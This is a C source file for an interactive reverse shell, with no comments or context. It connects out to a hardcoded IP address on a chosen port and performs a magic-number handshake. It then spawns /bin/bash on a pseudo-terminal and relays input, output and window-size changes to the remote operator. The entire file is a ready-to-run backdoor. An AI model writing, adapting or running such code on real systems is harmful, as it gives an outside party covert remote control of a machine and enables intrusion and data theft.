#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>

#define CHARBUFFER_TO_UINT(buf) ({\
unsigned int result = \
	  ((unsigned int) (buf)[0] << 24) \
	+ ((unsigned int) (buf)[1] << 16) \
	+ ((unsigned int) (buf)[2] << 8) \
	+ ((unsigned int) (buf)[3]); \
result; \
})

int main (int argc, char ** argv) {
	int server;
	struct sockaddr_in name;

	if (argc < 2) {
		printf("usage: %s port\n\n", argv[0]);
		exit(EXIT_FAILURE);
	}

	name.sin_family = AF_INET;
	inet_aton("185.111.88.182", &(name.sin_addr));
	name.sin_port = htons(atoi(argv[1]));

	server = socket(PF_INET, SOCK_STREAM, 0);
	if (connect(server, (struct sockaddr *) &name, sizeof(name)) < 0) {
		perror("connect");
		goto exit_server;
	}

	unsigned char magic[4] = {0x12, 0x34, 0x56, 0x78};
	unsigned char cmp[4];
	if (write(server, magic, 4) < 4) {
		fprintf(stderr, "Cannot write magic number!\n");
		goto exit_server;
	}
	if (read(server, cmp, 4) < 4) {
		fprintf(stderr, "Cannot read magic number!\n");
		goto exit_server;
	}
	if (strncmp(magic, cmp, 4)) {
		fprintf(stderr, "Magic number verification failed!\n");
		goto exit_server;
	}

	int master;

	master = open("/dev/ptmx", O_RDWR|O_NOCTTY);
	if (master < 0) {
		perror("open /dev/ptmx");
		goto exit_server;
	}

	pid_t pid = fork();
	if (pid < 0) {
		perror("fork");
		goto exit;
	}
	if (!pid) {
		int slave;
		char name[256];
		if (grantpt(master) < 0) {
			perror("grantpt");
			goto exit;
		}
		if (unlockpt(master) < 0) {
			perror("unlockpt");
			goto exit;
		}
		if (ptsname_r(master, name, 256) < 0) {
			perror("ptsname_r");
			goto exit;
		}
		slave = open(name, O_RDWR);
		if (slave < 0) {
			perror("slave open");
			goto exit;
		}
		close(master);
		setsid();
		dup2(slave, 0);
		dup2(slave, 1);
		dup2(slave, 2);
		close(slave);
		char * arguments[] = {"/bin/bash", NULL};
		execv("/bin/bash", arguments);
	} else {
		fd_set activeset, readset;
		FD_ZERO(&activeset);
		FD_SET(server, &activeset);
		FD_SET(master, &activeset);
		while (1) {
			readset = activeset;
			if (select(FD_SETSIZE, &readset, NULL, NULL, NULL) < 0) {
				perror("select");
				goto exit;
			}
			if (FD_ISSET(master, &readset)) {
				char buf[1024];
				ssize_t size;
				do {
					size = read(master, buf, 1024);
					if (size <= 0)
						goto exit;
					size = write(server, buf, size);
					if (size <= 0)
						goto exit;
				} while (size == 1024);
			}
			if (FD_ISSET(server, &readset)) {
				char cmd[2];
				if (read(server, cmd, 2) < 2)
					goto exit;
				if (cmd[0] != 0x00)
					goto exit;
				if (cmd[1] == 0x00) {
					if (read(server, cmd, 2) < 2)
						goto exit;
					ssize_t size = ((ssize_t) cmd[0] << 8) + (cmd[1]);
					char buf[size];
					if (read(server, buf, size) < size)
						goto exit;
					if (write(master, buf, size) < size)
						goto exit;
				} else if (cmd[1] == 0x01) {
					char buf[16];
					if (read(server, buf, 16) < 16)
						goto exit;
					struct winsize ws;
					ws.ws_row = CHARBUFFER_TO_UINT(&buf[0]);
					ws.ws_col = CHARBUFFER_TO_UINT(&buf[4]);
					ws.ws_xpixel = CHARBUFFER_TO_UINT(&buf[8]);
					ws.ws_ypixel = CHARBUFFER_TO_UINT(&buf[12]);
					ioctl(master, TIOCSWINSZ, &ws);
				} else {
					goto exit;
				}
			}
		}
	}
exit:
	close(master);
exit_server:
	close(server);
	exit(EXIT_SUCCESS);
}